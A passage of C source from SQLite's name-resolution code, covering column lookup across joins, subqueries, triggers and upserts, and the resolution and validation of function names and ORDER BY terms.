** Return TRUE if the name zCol occurs anywhere in the USING clause.
**
** Return FALSE if the USING clause is NULL or if it does not contain
** zCol.
*/
static int nameInUsingClause(IdList *pUsing, const char *zCol){
if( pUsing ){
int k;
for(k=0; k<pUsing->nId; k++){
if( sqlite3StrICmp(pUsing->a[k].zName, zCol)==0 ) return 1;
}
}
return 0;
}
/*
** Subqueries stores the original database, table and column names for their
** result sets in ExprList.a[].zSpan, in the form "DATABASE.TABLE.COLUMN".
** Check to see if the zSpan given to this routine matches the zDb, zTab,
** and zCol. If any of zDb, zTab, and zCol are NULL then those fields will
** match anything.
*/
int sqlite3MatchSpanName(
const char *zSpan,
const char *zCol,
const char *zTab,
const char *zDb
){
int n;
for(n=0; ALWAYS(zSpan[n]) && zSpan[n]!='.'; n++){}
if( zDb && (sqlite3StrNICmp(zSpan, zDb, n)!=0 || zDb[n]!=0) ){
return 0;
}
zSpan += n+1;
for(n=0; ALWAYS(zSpan[n]) && zSpan[n]!='.'; n++){}
if( zTab && (sqlite3StrNICmp(zSpan, zTab, n)!=0 || zTab[n]!=0) ){
return 0;
}
zSpan += n+1;
if( zCol && sqlite3StrICmp(zSpan, zCol)!=0 ){
return 0;
}
return 1;
}
/*
** Given the name of a column of the form X.Y.Z or Y.Z or just Z, look up
** that name in the set of source tables in pSrcList and make the pExpr
** expression node refer back to that source column. The following changes
** are made to pExpr:
**
** pExpr->iDb Set the index in db->aDb[] of the database X
** (even if X is implied).
** pExpr->iTable Set to the cursor number for the table obtained
** from pSrcList.
** pExpr->pTab Points to the Table structure of X.Y (even if
** X and/or Y are implied.)
** pExpr->iColumn Set to the column number within the table.
** pExpr->op Set to TK_COLUMN.
** pExpr->pLeft Any expression this points to is deleted
** pExpr->pRight Any expression this points to is deleted.
**
** The zDb variable is the name of the database (the "X"). This value may be
** NULL meaning that name is of the form Y.Z or Z. Any available database
** can be used. The zTable variable is the name of the table (the "Y"). This
** value can be NULL if zDb is also NULL. If zTable is NULL it
** means that the form of the name is Z and that columns from any table
** can be used.
**
** If the name cannot be resolved unambiguously, leave an error message
** in pParse and return WRC_Abort. Return WRC_Prune on success.
*/
static int lookupName(
Parse *pParse, /* The parsing context */
const char *zDb, /* Name of the database containing table, or NULL */
const char *zTab, /* Name of table containing column, or NULL */
const char *zCol, /* Name of the column. */
NameContext *pNC, /* The name context used to resolve the name */
Expr *pExpr /* Make this EXPR node point to the selected column */
){
int i, j; /* Loop counters */
int cnt = 0; /* Number of matching column names */
int cntTab = 0; /* Number of matching table names */
int nSubquery = 0; /* How many levels of subquery */
sqlite3 *db = pParse->db; /* The database connection */
struct SrcList_item *pItem; /* Use for looping over pSrcList items */
struct SrcList_item *pMatch = 0; /* The matching pSrcList item */
NameContext *pTopNC = pNC; /* First namecontext in the list */
Schema *pSchema = 0; /* Schema of the expression */
int eNewExprOp = TK_COLUMN; /* New value for pExpr->op on success */
Table *pTab = 0; /* Table hold the row */
Column *pCol; /* A column of pTab */
assert( pNC ); /* the name context cannot be NULL. */
assert( zCol ); /* The Z in X.Y.Z cannot be NULL */
assert( !ExprHasProperty(pExpr, EP_TokenOnly|EP_Reduced) );
/* Initialize the node to no-match */
pExpr->iTable = -1;
pExpr->pTab = 0;
ExprSetVVAProperty(pExpr, EP_NoReduce);
/* Translate the schema name in zDb into a pointer to the corresponding
** schema. If not found, pSchema will remain NULL and nothing will match
** resulting in an appropriate error message toward the end of this routine
*/
if( zDb ){
testcase( pNC->ncFlags & NC_PartIdx );
testcase( pNC->ncFlags & NC_IsCheck );
if( (pNC->ncFlags & (NC_PartIdx|NC_IsCheck))!=0 ){
/* Silently ignore database qualifiers inside CHECK constraints and
** partial indices. Do not raise errors because that might break
** legacy and because it does not hurt anything to just ignore the
** database name. */
zDb = 0;
}else{
for(i=0; i<db->nDb; i++){
assert( db->aDb[i].zDbSName );
if( sqlite3StrICmp(db->aDb[i].zDbSName,zDb)==0 ){
pSchema = db->aDb[i].pSchema;
break;
}
}
}
}
/* Start at the inner-most context and move outward until a match is found */
assert( pNC && cnt==0 );
do{
ExprList *pEList;
SrcList *pSrcList = pNC->pSrcList;
if( pSrcList ){
for(i=0, pItem=pSrcList->a; i<pSrcList->nSrc; i++, pItem++){
pTab = pItem->pTab;
assert( pTab!=0 && pTab->zName!=0 );
assert( pTab->nCol>0 );
if( pItem->pSelect && (pItem->pSelect->selFlags & SF_NestedFrom)!=0 ){
int hit = 0;
pEList = pItem->pSelect->pEList;
for(j=0; j<pEList->nExpr; j++){
if( sqlite3MatchSpanName(pEList->a[j].zSpan, zCol, zTab, zDb) ){
cnt++;
cntTab = 2;
pMatch = pItem;
pExpr->iColumn = j;
hit = 1;
}
}
if( hit || zTab==0 ) continue;
}
if( zDb && pTab->pSchema!=pSchema ){
continue;
}
if( zTab ){
const char *zTabName = pItem->zAlias ? pItem->zAlias : pTab->zName;
assert( zTabName!=0 );
if( sqlite3StrICmp(zTabName, zTab)!=0 ){
continue;
}
if( IN_RENAME_OBJECT && pItem->zAlias ){
sqlite3RenameTokenRemap(pParse, 0, (void*)&pExpr->pTab);
}
}
if( 0==(cntTab++) ){
pMatch = pItem;
}
for(j=0, pCol=pTab->aCol; j<pTab->nCol; j++, pCol++){
if( sqlite3StrICmp(pCol->zName, zCol)==0 ){
/* If there has been exactly one prior match and this match
** is for the right-hand table of a NATURAL JOIN or is in a
** USING clause, then skip this match.
*/
if( cnt==1 ){
if( pItem->fg.jointype & JT_NATURAL ) continue;
if( nameInUsingClause(pItem->pUsing, zCol) ) continue;
}
cnt++;
pMatch = pItem;
/* Substitute the rowid (column -1) for the INTEGER PRIMARY KEY */
pExpr->iColumn = j==pTab->iPKey ? -1 : (i16)j;
break;
}
}
}
if( pMatch ){
pExpr->iTable = pMatch->iCursor;
pExpr->pTab = pMatch->pTab;
/* RIGHT JOIN not (yet) supported */
assert( (pMatch->fg.jointype & JT_RIGHT)==0 );
if( (pMatch->fg.jointype & JT_LEFT)!=0 ){
ExprSetProperty(pExpr, EP_CanBeNull);
}
pSchema = pExpr->pTab->pSchema;
}
} /* if( pSrcList ) */
#if !defined(SQLITE_OMIT_TRIGGER) || !defined(SQLITE_OMIT_UPSERT)
/* If we have not already resolved the name, then maybe
** it is a new.* or old.* trigger argument reference. Or
** maybe it is an excluded.* from an upsert.
*/
if( zDb==0 && zTab!=0 && cntTab==0 ){
pTab = 0;
#ifndef SQLITE_OMIT_TRIGGER
if( pParse->pTriggerTab!=0 ){
int op = pParse->eTriggerOp;
assert( op==TK_DELETE || op==TK_UPDATE || op==TK_INSERT );
if( op!=TK_DELETE && sqlite3StrICmp("new",zTab) == 0 ){
pExpr->iTable = 1;
pTab = pParse->pTriggerTab;
}else if( op!=TK_INSERT && sqlite3StrICmp("old",zTab)==0 ){
pExpr->iTable = 0;
pTab = pParse->pTriggerTab;
}
}
#endif /* SQLITE_OMIT_TRIGGER */
#ifndef SQLITE_OMIT_UPSERT
if( (pNC->ncFlags & NC_UUpsert)!=0 ){
Upsert *pUpsert = pNC->uNC.pUpsert;
if( pUpsert && sqlite3StrICmp("excluded",zTab)==0 ){
pTab = pUpsert->pUpsertSrc->a[0].pTab;
pExpr->iTable = 2;
}
}
#endif /* SQLITE_OMIT_UPSERT */
if( pTab ){
int iCol;
pSchema = pTab->pSchema;
cntTab++;
for(iCol=0, pCol=pTab->aCol; iCol<pTab->nCol; iCol++, pCol++){
if( sqlite3StrICmp(pCol->zName, zCol)==0 ){
if( iCol==pTab->iPKey ){
iCol = -1;
}
break;
}
}
if( iCol>=pTab->nCol && sqlite3IsRowid(zCol) && VisibleRowid(pTab) ){
/* IMP: R-51414-32910 */
iCol = -1;
}
if( iCol<pTab->nCol ){
cnt++;
#ifndef SQLITE_OMIT_UPSERT
if( pExpr->iTable==2 ){
testcase( iCol==(-1) );
if( IN_RENAME_OBJECT ){
pExpr->iColumn = iCol;
pExpr->pTab = pTab;
eNewExprOp = TK_COLUMN;
}else{
pExpr->iTable = pNC->uNC.pUpsert->regData + iCol;
eNewExprOp = TK_REGISTER;
ExprSetProperty(pExpr, EP_Alias);
}
}else
#endif /* SQLITE_OMIT_UPSERT */
{
#ifndef SQLITE_OMIT_TRIGGER
if( iCol<0 ){
pExpr->affinity = SQLITE_AFF_INTEGER;
}else if( pExpr->iTable==0 ){
testcase( iCol==31 );
testcase( iCol==32 );
pParse->oldmask |= (iCol>=32 ? 0xffffffff : (((u32)1)<<iCol));
}else{
testcase( iCol==31 );
testcase( iCol==32 );
pParse->newmask |= (iCol>=32 ? 0xffffffff : (((u32)1)<<iCol));
}
pExpr->pTab = pTab;
pExpr->iColumn = (i16)iCol;
eNewExprOp = TK_TRIGGER;
#endif /* SQLITE_OMIT_TRIGGER */
}
}
}
}
#endif /* !defined(SQLITE_OMIT_TRIGGER) || !defined(SQLITE_OMIT_UPSERT) */
/*
** Perhaps the name is a reference to the ROWID
*/
if( cnt==0
&& cntTab==1
&& pMatch
&& (pNC->ncFlags & NC_IdxExpr)==0
&& sqlite3IsRowid(zCol)
&& VisibleRowid(pMatch->pTab)
){
cnt = 1;
pExpr->iColumn = -1;
pExpr->affinity = SQLITE_AFF_INTEGER;
}
/*
** If the input is of the form Z (not Y.Z or X.Y.Z) then the name Z
** might refer to an result-set alias. This happens, for example, when
** we are resolving names in the WHERE clause of the following command:
**
** SELECT a+b AS x FROM table WHERE x<10;
**
** In cases like this, replace pExpr with a copy of the expression that
** forms the result set entry ("a+b" in the example) and return immediately.
** Note that the expression in the result set should have already been
** resolved by the time the WHERE clause is resolved.
**
** The ability to use an output result-set column in the WHERE, GROUP BY,
** or HAVING clauses, or as part of a larger expression in the ORDER BY
** clause is not standard SQL. This is a (goofy) SQLite extension, that
** is supported for backwards compatibility only. Hence, we issue a warning
** on sqlite3_log() whenever the capability is used.
*/
if( (pNC->ncFlags & NC_UEList)!=0
&& cnt==0
&& zTab==0
){
pEList = pNC->uNC.pEList;
assert( pEList!=0 );
for(j=0; j<pEList->nExpr; j++){
char *zAs = pEList->a[j].zName;
if( zAs!=0 && sqlite3StrICmp(zAs, zCol)==0 ){
Expr *pOrig;
assert( pExpr->pLeft==0 && pExpr->pRight==0 );
assert( pExpr->x.pList==0 );
assert( pExpr->x.pSelect==0 );
pOrig = pEList->a[j].pExpr;
if( (pNC->ncFlags&NC_AllowAgg)==0 && ExprHasProperty(pOrig, EP_Agg) ){
sqlite3ErrorMsg(pParse, "misuse of aliased aggregate %s", zAs);
return WRC_Abort;
}
if( sqlite3ExprVectorSize(pOrig)!=1 ){
sqlite3ErrorMsg(pParse, "row value misused");
return WRC_Abort;
}
resolveAlias(pParse, pEList, j, pExpr, "", nSubquery);
cnt = 1;
pMatch = 0;
assert( zTab==0 && zDb==0 );
if( IN_RENAME_OBJECT ){
sqlite3RenameTokenRemap(pParse, 0, (void*)pExpr);
}
goto lookupname_end;
}
}
}
/* Advance to the next name context. The loop will exit when either
** we have a match (cnt>0) or when we run out of name contexts.
*/
if( cnt ) break;
pNC = pNC->pNext;
nSubquery++;
}while( pNC );
/*
** If X and Y are NULL (in other words if only the column name Z is
** supplied) and the value of Z is enclosed in double-quotes, then
** Z is a string literal if it doesn't match any column names. In that
** case, we need to return right away and not make any changes to
** pExpr.
**
** Because no reference was made to outer contexts, the pNC->nRef
** fields are not changed in any context.
*/
if( cnt==0 && zTab==0 ){
assert( pExpr->op==TK_ID );
if( ExprHasProperty(pExpr,EP_DblQuoted) ){
pExpr->op = TK_STRING;
pExpr->pTab = 0;
return WRC_Prune;
}
if( sqlite3ExprIdToTrueFalse(pExpr) ){
return WRC_Prune;
}
}
/*
** cnt==0 means there was not match. cnt>1 means there were two or
** more matches. Either way, we have an error.
*/
if( cnt!=1 ){
const char *zErr;
zErr = cnt==0 ? "no such column" : "ambiguous column name";
if( zDb ){
sqlite3ErrorMsg(pParse, "%s: %s.%s.%s", zErr, zDb, zTab, zCol);
}else if( zTab ){
sqlite3ErrorMsg(pParse, "%s: %s.%s", zErr, zTab, zCol);
}else{
sqlite3ErrorMsg(pParse, "%s: %s", zErr, zCol);
}
pParse->checkSchema = 1;
pTopNC->nErr++;
}
/* If a column from a table in pSrcList is referenced, then record
** this fact in the pSrcList.a[].colUsed bitmask. Column 0 causes
** bit 0 to be set. Column 1 sets bit 1. And so forth. If the
** column number is greater than the number of bits in the bitmask
** then set the high-order bit of the bitmask.
*/
if( pExpr->iColumn>=0 && pMatch!=0 ){
int n = pExpr->iColumn;
testcase( n==BMS-1 );
if( n>=BMS ){
n = BMS-1;
}
assert( pMatch->iCursor==pExpr->iTable );
pMatch->colUsed |= ((Bitmask)1)<<n;
}
/* Clean up and return
*/
sqlite3ExprDelete(db, pExpr->pLeft);
pExpr->pLeft = 0;
sqlite3ExprDelete(db, pExpr->pRight);
pExpr->pRight = 0;
pExpr->op = eNewExprOp;
ExprSetProperty(pExpr, EP_Leaf);
lookupname_end:
if( cnt==1 ){
assert( pNC!=0 );
if( !ExprHasProperty(pExpr, EP_Alias) ){
sqlite3AuthRead(pParse, pExpr, pSchema, pNC->pSrcList);
}
/* Increment the nRef value on all name contexts from TopNC up to
** the point where the name matched. */
for(;;){
assert( pTopNC!=0 );
pTopNC->nRef++;
if( pTopNC==pNC ) break;
pTopNC = pTopNC->pNext;
}
return WRC_Prune;
} else {
return WRC_Abort;
}
}
/*
** Allocate and return a pointer to an expression to load the column iCol
** from datasource iSrc in SrcList pSrc.
*/
Expr *sqlite3CreateColumnExpr(sqlite3 *db, SrcList *pSrc, int iSrc, int iCol){
Expr *p = sqlite3ExprAlloc(db, TK_COLUMN, 0, 0);
if( p ){
struct SrcList_item *pItem = &pSrc->a[iSrc];
p->pTab = pItem->pTab;
p->iTable = pItem->iCursor;
if( p->pTab->iPKey==iCol ){
p->iColumn = -1;
}else{
p->iColumn = (ynVar)iCol;
testcase( iCol==BMS );
testcase( iCol==BMS-1 );
pItem->colUsed |= ((Bitmask)1)<<(iCol>=BMS ? BMS-1 : iCol);
}
}
return p;
}
/*
** Report an error that an expression is not valid for some set of
** pNC->ncFlags values determined by validMask.
*/
static void notValid(
Parse *pParse, /* Leave error message here */
NameContext *pNC, /* The name context */
const char *zMsg, /* Type of error */
int validMask /* Set of contexts for which prohibited */
){
assert( (validMask&~(NC_IsCheck|NC_PartIdx|NC_IdxExpr))==0 );
if( (pNC->ncFlags & validMask)!=0 ){
const char *zIn = "partial index WHERE clauses";
if( pNC->ncFlags & NC_IdxExpr ) zIn = "index expressions";
#ifndef SQLITE_OMIT_CHECK
else if( pNC->ncFlags & NC_IsCheck ) zIn = "CHECK constraints";
#endif
sqlite3ErrorMsg(pParse, "%s prohibited in %s", zMsg, zIn);
}
}
/*
** Expression p should encode a floating point value between 1.0 and 0.0.
** Return 1024 times this value. Or return -1 if p is not a floating point
** value between 1.0 and 0.0.
*/
static int exprProbability(Expr *p){
double r = -1.0;
if( p->op!=TK_FLOAT ) return -1;
sqlite3AtoF(p->u.zToken, &r, sqlite3Strlen30(p->u.zToken), SQLITE_UTF8);
assert( r>=0.0 );
if( r>1.0 ) return -1;
return (int)(r*134217728.0);
}
/*
** This routine is callback for sqlite3WalkExpr().
**
** Resolve symbolic names into TK_COLUMN operators for the current
** node in the expression tree. Return 0 to continue the search down
** the tree or 2 to abort the tree walk.
**
** This routine also does error checking and name resolution for
** function names. The operator for aggregate functions is changed
** to TK_AGG_FUNCTION.
*/
static int resolveExprStep(Walker *pWalker, Expr *pExpr){
NameContext *pNC;
Parse *pParse;
pNC = pWalker->u.pNC;
assert( pNC!=0 );
pParse = pNC->pParse;
assert( pParse==pWalker->pParse );
#ifndef NDEBUG
if( pNC->pSrcList && pNC->pSrcList->nAlloc>0 ){
SrcList *pSrcList = pNC->pSrcList;
int i;
for(i=0; i<pNC->pSrcList->nSrc; i++){
assert( pSrcList->a[i].iCursor>=0 && pSrcList->a[i].iCursor<pParse->nTab);
}
}
#endif
switch( pExpr->op ){
#if defined(SQLITE_ENABLE_UPDATE_DELETE_LIMIT) && !defined(SQLITE_OMIT_SUBQUERY)
/* The special operator TK_ROW means use the rowid for the first
** column in the FROM clause. This is used by the LIMIT and ORDER BY
** clause processing on UPDATE and DELETE statements.
*/
case TK_ROW: {
SrcList *pSrcList = pNC->pSrcList;
struct SrcList_item *pItem;
assert( pSrcList && pSrcList->nSrc==1 );
pItem = pSrcList->a;
assert( HasRowid(pItem->pTab) && pItem->pTab->pSelect==0 );
pExpr->op = TK_COLUMN;
pExpr->pTab = pItem->pTab;
pExpr->iTable = pItem->iCursor;
pExpr->iColumn = -1;
pExpr->affinity = SQLITE_AFF_INTEGER;
break;
}
#endif /* defined(SQLITE_ENABLE_UPDATE_DELETE_LIMIT)
&& !defined(SQLITE_OMIT_SUBQUERY) */
/* A column name: ID
** Or table name and column name: ID.ID
** Or a database, table and column: ID.ID.ID
**
** The TK_ID and TK_OUT cases are combined so that there will only
** be one call to lookupName(). Then the compiler will in-line
** lookupName() for a size reduction and performance increase.
*/
case TK_ID:
case TK_DOT: {
const char *zColumn;
const char *zTable;
const char *zDb;
Expr *pRight;
if( pExpr->op==TK_ID ){
zDb = 0;
zTable = 0;
zColumn = pExpr->u.zToken;
}else{
Expr *pLeft = pExpr->pLeft;
notValid(pParse, pNC, "the \".\" operator", NC_IdxExpr);
pRight = pExpr->pRight;
if( pRight->op==TK_ID ){
zDb = 0;
}else{
assert( pRight->op==TK_DOT );
zDb = pLeft->u.zToken;
pLeft = pRight->pLeft;
pRight = pRight->pRight;
}
zTable = pLeft->u.zToken;
zColumn = pRight->u.zToken;
if( IN_RENAME_OBJECT ){
sqlite3RenameTokenRemap(pParse, (void*)pExpr, (void*)pRight);
}
if( IN_RENAME_OBJECT ){
sqlite3RenameTokenRemap(pParse, (void*)&pExpr->pTab, (void*)pLeft);
}
}
return lookupName(pParse, zDb, zTable, zColumn, pNC, pExpr);
}
/* Resolve function names
*/
case TK_FUNCTION: {
ExprList *pList = pExpr->x.pList; /* The argument list */
int n = pList ? pList->nExpr : 0; /* Number of arguments */
int no_such_func = 0; /* True if no such function exists */
int wrong_num_args = 0; /* True if wrong number of arguments */
int is_agg = 0; /* True if is an aggregate function */
int nId; /* Number of characters in function name */
const char *zId; /* The function name. */
FuncDef *pDef; /* Information about the function */
u8 enc = ENC(pParse->db); /* The database encoding */
assert( !ExprHasProperty(pExpr, EP_xIsSelect) );
zId = pExpr->u.zToken;
nId = sqlite3Strlen30(zId);
pDef = sqlite3FindFunction(pParse->db, zId, n, enc, 0);
if( pDef==0 ){
pDef = sqlite3FindFunction(pParse->db, zId, -2, enc, 0);
if( pDef==0 ){
no_such_func = 1;
}else{
wrong_num_args = 1;
}
}else{
is_agg = pDef->xFinalize!=0;
if( pDef->funcFlags & SQLITE_FUNC_UNLIKELY ){
ExprSetProperty(pExpr, EP_Unlikely|EP_Skip);
if( n==2 ){
pExpr->iTable = exprProbability(pList->a[1].pExpr);
if( pExpr->iTable<0 ){
sqlite3ErrorMsg(pParse,
"second argument to likelihood() must be a "
"constant between 0.0 and 1.0");
pNC->nErr++;
}
}else{
/* EVIDENCE-OF: R-61304-29449 The unlikely(X) function is
** equivalent to likelihood(X, 0.0625).
** EVIDENCE-OF: R-01283-11636 The unlikely(X) function is
** short-hand for likelihood(X,0.0625).
** EVIDENCE-OF: R-36850-34127 The likely(X) function is short-hand
** for likelihood(X,0.9375).
** EVIDENCE-OF: R-53436-40973 The likely(X) function is equivalent
** to likelihood(X,0.9375). */
/* TUNING: unlikely() probability is 0.0625. likely() is 0.9375 */
pExpr->iTable = pDef->zName[0]=='u' ? 8388608 : 125829120;
}
}
#ifndef SQLITE_OMIT_AUTHORIZATION
{
int auth = sqlite3AuthCheck(pParse, SQLITE_FUNCTION, 0,pDef->zName,0);
if( auth!=SQLITE_OK ){
if( auth==SQLITE_DENY ){
sqlite3ErrorMsg(pParse, "not authorized to use function: %s",
pDef->zName);
pNC->nErr++;
}
pExpr->op = TK_NULL;
return WRC_Prune;
}
}
#endif
if( pDef->funcFlags & (SQLITE_FUNC_CONSTANT|SQLITE_FUNC_SLOCHNG) ){
/* For the purposes of the EP_ConstFunc flag, date and time
** functions and other functions that change slowly are considered
** constant because they are constant for the duration of one query */
ExprSetProperty(pExpr,EP_ConstFunc);
}
if( (pDef->funcFlags & SQLITE_FUNC_CONSTANT)==0 ){
/* Date/time functions that use 'now', and other functions like
** sqlite_version() that might change over time cannot be used
** in an index. */
notValid(pParse, pNC, "non-deterministic functions",
NC_IdxExpr|NC_PartIdx);
}
}
if( 0==IN_RENAME_OBJECT ){
#ifndef SQLITE_OMIT_WINDOWFUNC
assert( is_agg==0 || (pDef->funcFlags & SQLITE_FUNC_MINMAX)
|| (pDef->xValue==0 && pDef->xInverse==0)
|| (pDef->xValue && pDef->xInverse && pDef->xSFunc && pDef->xFinalize)
);
if( pDef && pDef->xValue==0 && pExpr->pWin ){
sqlite3ErrorMsg(pParse,
"%.*s() may not be used as a window function", nId, zId
);
pNC->nErr++;
}else if(
(is_agg && (pNC->ncFlags & NC_AllowAgg)==0)
|| (is_agg && (pDef->funcFlags & SQLITE_FUNC_WINDOW) && !pExpr->pWin)
|| (is_agg && pExpr->pWin && (pNC->ncFlags & NC_AllowWin)==0)
){
const char *zType;
if( (pDef->funcFlags & SQLITE_FUNC_WINDOW) || pExpr->pWin ){
zType = "window";
}else{
zType = "aggregate";
}
sqlite3ErrorMsg(pParse, "misuse of %s function %.*s()",zType,nId,zId);
pNC->nErr++;
is_agg = 0;
}
#else
if( (is_agg && (pNC->ncFlags & NC_AllowAgg)==0) ){
sqlite3ErrorMsg(pParse,"misuse of aggregate function %.*s()",nId,zId);
pNC->nErr++;
is_agg = 0;
}
#endif
else if( no_such_func && pParse->db->init.busy==0
#ifdef SQLITE_ENABLE_UNKNOWN_SQL_FUNCTION
&& pParse->explain==0
#endif
){
sqlite3ErrorMsg(pParse, "no such function: %.*s", nId, zId);
pNC->nErr++;
}else if( wrong_num_args ){
sqlite3ErrorMsg(pParse,"wrong number of arguments to function %.*s()",
nId, zId);
pNC->nErr++;
}
if( is_agg ){
#ifndef SQLITE_OMIT_WINDOWFUNC
pNC->ncFlags &= ~(pExpr->pWin ? NC_AllowWin : NC_AllowAgg);
#else
pNC->ncFlags &= ~NC_AllowAgg;
#endif
}
}
sqlite3WalkExprList(pWalker, pList);
if( is_agg ){
#ifndef SQLITE_OMIT_WINDOWFUNC
if( pExpr->pWin ){
Select *pSel = pNC->pWinSelect;
sqlite3WalkExprList(pWalker, pExpr->pWin->pPartition);
sqlite3WalkExprList(pWalker, pExpr->pWin->pOrderBy);
sqlite3WalkExpr(pWalker, pExpr->pWin->pFilter);
sqlite3WindowUpdate(pParse, pSel->pWinDefn, pExpr->pWin, pDef);
if( 0==pSel->pWin
|| 0==sqlite3WindowCompare(pParse, pSel->pWin, pExpr->pWin)
){
pExpr->pWin->pNextWin = pSel->pWin;
pSel->pWin = pExpr->pWin;
}
pNC->ncFlags |= NC_AllowWin;
}else
#endif /* SQLITE_OMIT_WINDOWFUNC */
{
NameContext *pNC2 = pNC;
pExpr->op = TK_AGG_FUNCTION;
pExpr->op2 = 0;
while( pNC2 && !sqlite3FunctionUsesThisSrc(pExpr, pNC2->pSrcList) ){
pExpr->op2++;
pNC2 = pNC2->pNext;
}
assert( pDef!=0 );
if( pNC2 ){
assert( SQLITE_FUNC_MINMAX==NC_MinMaxAgg );
testcase( (pDef->funcFlags & SQLITE_FUNC_MINMAX)!=0 );
pNC2->ncFlags |= NC_HasAgg | (pDef->funcFlags & SQLITE_FUNC_MINMAX);
}
pNC->ncFlags |= NC_AllowAgg;
}
}
/* FIX ME: Compute pExpr->affinity based on the expected return
** type of the function
*/
return WRC_Prune;
}
#ifndef SQLITE_OMIT_SUBQUERY
case TK_SELECT:
case TK_EXISTS: testcase( pExpr->op==TK_EXISTS );
#endif
case TK_IN: {
testcase( pExpr->op==TK_IN );
if( ExprHasProperty(pExpr, EP_xIsSelect) ){
int nRef = pNC->nRef;
notValid(pParse, pNC, "subqueries", NC_IsCheck|NC_PartIdx|NC_IdxExpr);
sqlite3WalkSelect(pWalker, pExpr->x.pSelect);
assert( pNC->nRef>=nRef );
if( nRef!=pNC->nRef ){
ExprSetProperty(pExpr, EP_VarSelect);
pNC->ncFlags |= NC_VarSelect;
}
}
break;
}
case TK_VARIABLE: {
notValid(pParse, pNC, "parameters", NC_IsCheck|NC_PartIdx|NC_IdxExpr);
break;
}
case TK_IS:
case TK_ISNOT: {
Expr *pRight;
assert( !ExprHasProperty(pExpr, EP_Reduced) );
/* Handle special cases of "x IS TRUE", "x IS FALSE", "x IS NOT TRUE",
** and "x IS NOT FALSE". */
if( (pRight = pExpr->pRight)->op==TK_ID ){
int rc = resolveExprStep(pWalker, pRight);
if( rc==WRC_Abort ) return WRC_Abort;
if( pRight->op==TK_TRUEFALSE ){
pExpr->op2 = pExpr->op;
pExpr->op = TK_TRUTH;
return WRC_Continue;
}
}
/* Fall thru */
}
case TK_BETWEEN:
case TK_EQ:
case TK_NE:
case TK_LT:
case TK_LE:
case TK_GT:
case TK_GE: {
int nLeft, nRight;
if( pParse->db->mallocFailed ) break;
assert( pExpr->pLeft!=0 );
nLeft = sqlite3ExprVectorSize(pExpr->pLeft);
if( pExpr->op==TK_BETWEEN ){
nRight = sqlite3ExprVectorSize(pExpr->x.pList->a[0].pExpr);
if( nRight==nLeft ){
nRight = sqlite3ExprVectorSize(pExpr->x.pList->a[1].pExpr);
}
}else{
assert( pExpr->pRight!=0 );
nRight = sqlite3ExprVectorSize(pExpr->pRight);
}
if( nLeft!=nRight ){
testcase( pExpr->op==TK_EQ );
testcase( pExpr->op==TK_NE );
testcase( pExpr->op==TK_LT );
testcase( pExpr->op==TK_LE );
testcase( pExpr->op==TK_GT );
testcase( pExpr->op==TK_GE );
testcase( pExpr->op==TK_IS );
testcase( pExpr->op==TK_ISNOT );
testcase( pExpr->op==TK_BETWEEN );
sqlite3ErrorMsg(pParse, "row value misused");
}
break;
}
}
return (pParse->nErr || pParse->db->mallocFailed) ? WRC_Abort : WRC_Continue;
}
/*
** pEList is a list of expressions which are really the result set of the
** a SELECT statement. pE is a term in an ORDER BY or GROUP BY clause.
** This routine checks to see if pE is a simple identifier which corresponds
** to the AS-name of one of the terms of the expression list. If it is,
** this routine return an integer between 1 and N where N is the number of
** elements in pEList, corresponding to the matching entry. If there is
** no match, or if pE is not a simple identifier, then this routine
** return 0.
**
** pEList has been resolved. pE has not.
*/
static int resolveAsName(
Parse *pParse, /* Parsing context for error messages */
ExprList *pEList, /* List of expressions to scan */
Expr *pE /* Expression we are trying to match */
){
int i; /* Loop counter */
UNUSED_PARAMETER(pParse);
if( pE->op==TK_ID ){
char *zCol = pE->u.zToken;
for(i=0; i<pEList->nExpr; i++){
char *zAs = pEList->a[i].zName;
if( zAs!=0 && sqlite3StrICmp(zAs, zCol)==0 ){
return i+1;
}
}
}
return 0;
}
/*
** pE is a pointer to an expression which is a single term in the
** ORDER BY of a compound SELECT. The expression has not been
** name resolved.
**
** At the point this routine is called, we already know that the
** ORDER BY term is not an integer index into the result set. That
** case is handled by the calling routine.
**
** Attempt to match pE against result set columns in the left-most
** SELECT statement. Return the index i of the matching column,
** as an indication to the caller that it should sort by the i-th column.
** The left-most column is 1. In other words, the value returned is the
** same integer value that would be used in the SQL statement to indicate
** the column.
**
** If there is no match, return 0. Return -1 if an error occurs.
*/
static int resolveOrderByTermToExprList(
Parse *pParse, /* Parsing context for error messages */
Select *pSelect, /* The SELECT statement with the ORDER BY clause */
Expr *pE /* The specific ORDER BY term */
){
int i; /* Loop counter */
ExprList *pEList; /* The columns of the result set */
NameContext nc; /* Name context for resolving pE */
sqlite3 *db; /* Database connection */
int rc; /* Return code from subprocedures */
u8 savedSuppErr; /* Saved value of db->suppressErr */
assert( sqlite3ExprIsInteger(pE, &i)==0 );
pEList = pSelect->pEList;
/* Resolve all names in the ORDER BY term expression
*/
memset(&nc, 0, sizeof(nc));
nc.pParse = pParse;
nc.pSrcList = pSelect->pSrc;
nc.uNC.pEList = pEList;
nc.ncFlags = NC_AllowAgg|NC_UEList;
nc.nErr = 0;
db = pParse->db;
savedSuppErr = db->suppressErr;
db->suppressErr = 1;
rc = sqlite3ResolveExprNames(&nc, pE);
db->suppressErr = savedSuppErr;
if( rc ) return 0;
/* Try to match the ORDER BY expression against an expression
** in the result set. Return an 1-based index of the matching
** result-set entry.
*/
for(i=0; i<pEList->nExpr; i++){
if( sqlite3ExprCompare(0, pEList->a[i].pExpr, pE, -1)<2 ){
return i+1;
}
}
/* If no match, return 0. */
return 0;
}
/*
** Generate an ORDER BY or GROUP BY term out-of-range error.
*/
static void resolveOutOfRangeError(
Parse *pParse, /* The error context into which to write the error */
const char *zType, /* "ORDER" or "GROUP" */
int i, /* The index (1-based) of the term out of range */
int mx /* Largest permissible value of i */
){
sqlite3ErrorMsg(pParse,
"%r %s BY term out of range - should be "
"between 1 and %d", i, zType, mx);
}
/*
** Analyze the ORDER BY clause in a compound SELECT statement. Modify
** each term of the ORDER BY clause is a constant integer between 1
** and N where N is the number of columns in the compound SELECT.
**
** ORDER BY terms that are already an integer between 1 and N are
** unmodified. ORDER BY terms that are integers outside the range of
** 1 through N generate an error. ORDER BY terms that are expressions
** are matched against result set expressions of compound SELECT
** beginning with the left-most SELECT and working toward the right.
** At the first match, the ORDER BY expression is transformed into
** the integer column number.
**
** Return the number of errors seen.
*/
static int resolveCompoundOrderBy(
Parse *pParse, /* Parsing context. Leave error messages here */
Select *pSelect /* The SELECT statement containing the ORDER BY */
){
int i;
ExprList *pOrderBy;
ExprList *pEList;
sqlite3 *db;
int moreToDo = 1;
